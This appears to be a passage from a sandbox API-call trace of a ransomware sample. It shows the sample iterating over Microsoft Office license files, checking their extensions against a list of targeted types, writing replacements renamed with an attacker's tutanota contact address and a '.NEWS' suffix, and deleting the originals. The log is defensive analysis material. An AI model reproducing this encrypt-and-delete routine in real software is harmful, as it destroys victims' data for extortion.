[0186.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.621] lstrlenW (lpString=".dbf") returned 4 [0186.621] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.621] lstrlenW (lpString=".1cd") returned 4 [0186.621] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0186.621] lstrlenW (lpString=".jpg") returned 4 [0186.621] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.621] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.621] lstrlenW (lpString="HomeBusinessR_Trial-pl.xrm-ms") returned 29 [0186.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0186.962] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11167) returned 1 [0186.962] CloseHandle (hObject=0x518) returned 1 [0186.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220 [0186.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0186.963] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.963] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0186.964] GetLastError () returned 0x0 [0186.964] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0186.966] WriteFile (in: hFile=0x53c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0186.971] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.971] WriteFile (in: hFile=0x53c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10e, lpOverlapped=0x0) returned 1 [0186.971] SetEndOfFile (hFile=0x53c) returned 1 [0186.972] CloseHandle (hObject=0x53c) returned 1 [0186.972] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.972] SetEndOfFile (hFile=0x518) returned 1 [0186.975] CloseHandle (hObject=0x518) returned 1 [0186.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1 [0186.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.977] lstrlenW (lpString=".doc") returned 4 [0186.977] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.977] lstrlenW (lpString=".docx") returned 5 [0186.977] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.977] lstrlenW (lpString=".pdf") returned 4 [0186.977] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.977] lstrlenW (lpString=".xls") returned 4 [0186.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.977] lstrlenW (lpString=".xlsx") returned 5 [0186.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.977] lstrlenW (lpString=".ppt") returned 4 [0186.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.977] lstrlenW (lpString=".zip") returned 4 [0186.977] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.977] lstrlenW (lpString=".rar") returned 4 [0186.977] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString=".bz2") returned 4 [0186.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString=".7z") returned 3 [0186.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.978] lstrlenW (lpString=".dbf") returned 4 [0186.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.978] lstrlenW (lpString=".1cd") returned 4 [0186.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.978] lstrlenW (lpString=".jpg") returned 4 [0186.978] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.978] lstrlenW (lpString=".doc") returned 4 [0186.978] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString=".docx") returned 5 [0186.978] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.978] lstrlenW (lpString=".pdf") returned 4 [0186.978] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString=".xls") returned 4 [0186.978] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString=".xlsx") returned 5 [0186.978] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.978] lstrlenW (lpString=".ppt") returned 4 [0186.978] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.978] lstrlenW (lpString=".zip") returned 4 [0186.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString=".rar") returned 4 [0186.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.978] lstrlenW (lpString=".bz2") returned 4 [0186.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.979] lstrlenW (lpString=".7z") returned 3 [0186.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.979] lstrlenW (lpString=".dbf") returned 4 [0186.979] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.979] lstrlenW (lpString=".1cd") returned 4 [0186.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0186.979] lstrlenW (lpString=".jpg") returned 4 [0186.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.979] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.979] lstrlenW (lpString="HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 34 [0186.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0186.980] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11625) returned 1 [0186.980] CloseHandle (hObject=0x518) returned 1 [0186.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220 [0186.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0186.984] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.984] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0186.985] GetLastError () returned 0x0 [0186.985] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2d69, lpOverlapped=0x0) returned 1 [0186.987] WriteFile (in: hFile=0x53c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0186.988] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.988] WriteFile (in: hFile=0x53c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x118, lpOverlapped=0x0) returned 1 [0186.988] SetEndOfFile (hFile=0x53c) returned 1 [0186.988] CloseHandle (hObject=0x53c) returned 1 [0186.988] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.988] SetEndOfFile (hFile=0x518) returned 1 [0186.991] CloseHandle (hObject=0x518) returned 1 [0186.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1 [0186.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.993] lstrlenW (lpString=".doc") returned 4 [0186.993] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString=".docx") returned 5 [0186.993] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.993] lstrlenW (lpString=".pdf") returned 4 [0186.993] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString=".xls") returned 4 [0186.993] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString=".xlsx") returned 5 [0186.993] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.993] lstrlenW (lpString=".ppt") returned 4 [0186.993] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.993] lstrlenW (lpString=".zip") returned 4 [0186.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString=".rar") returned 4 [0186.993] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString=".bz2") returned 4 [0186.993] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString=".7z") returned 3 [0186.993] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.993] lstrlenW (lpString=".dbf") returned 4 [0186.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.993] lstrlenW (lpString=".1cd") returned 4 [0186.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.993] lstrlenW (lpString=".jpg") returned 4 [0186.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.993] lstrlenW (lpString=".doc") returned 4 [0186.994] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString=".docx") returned 5 [0186.994] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.994] lstrlenW (lpString=".pdf") returned 4 [0186.994] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString=".xls") returned 4 [0186.994] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString=".xlsx") returned 5 [0186.994] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.994] lstrlenW (lpString=".ppt") returned 4 [0186.994] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.994] lstrlenW (lpString=".zip") returned 4 [0186.994] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString=".rar") returned 4 [0186.994] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString=".bz2") returned 4 [0186.994] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString=".7z") returned 3 [0186.994] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.994] lstrlenW (lpString=".dbf") returned 4 [0186.994] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.994] lstrlenW (lpString=".1cd") returned 4 [0186.994] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0186.994] lstrlenW (lpString=".jpg") returned 4 [0186.994] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.994] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.994] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 41 [0186.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0186.995] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11215) returned 1 [0186.995] CloseHandle (hObject=0x518) returned 1 [0186.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0186.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0186.996] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.996] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0186.997] GetLastError () returned 0x0 [0186.997] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0187.259] WriteFile (in: hFile=0x53c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0187.260] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.260] WriteFile (in: hFile=0x53c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x126, lpOverlapped=0x0) returned 1 [0187.260] SetEndOfFile (hFile=0x53c) returned 1 [0187.936] CloseHandle (hObject=0x53c) returned 1 [0187.958] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.958] SetEndOfFile (hFile=0x518) returned 1 [0188.001] CloseHandle (hObject=0x518) returned 1 [0188.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0188.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.006] lstrlenW (lpString=".doc") returned 4 [0188.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.006] lstrlenW (lpString=".docx") returned 5 [0188.006] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.006] lstrlenW (lpString=".pdf") returned 4 [0188.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.006] lstrlenW (lpString=".xls") returned 4 [0188.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.006] lstrlenW (lpString=".xlsx") returned 5 [0188.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.007] lstrlenW (lpString=".ppt") returned 4 [0188.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.007] lstrlenW (lpString=".zip") returned 4 [0188.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.007] lstrlenW (lpString=".rar") returned 4 [0188.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.007] lstrlenW (lpString=".bz2") returned 4 [0188.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.007] lstrlenW (lpString=".7z") returned 3 [0188.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.007] lstrlenW (lpString=".dbf") returned 4 [0188.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.007] lstrlenW (lpString=".1cd") returned 4 [0188.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.007] lstrlenW (lpString=".jpg") returned 4 [0188.007] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0188.007] lstrlenW (lpString=".doc") returned 4 [0188.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.007] lstrlenW (lpString=".docx") returned 5 [0188.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.008] lstrlenW (lpString=".pdf") returned 4 [0188.008] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.008] lstrlenW (lpString=".xls") returned 4 [0188.008] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.008] lstrlenW (lpString=".xlsx") returned 5 [0188.008] 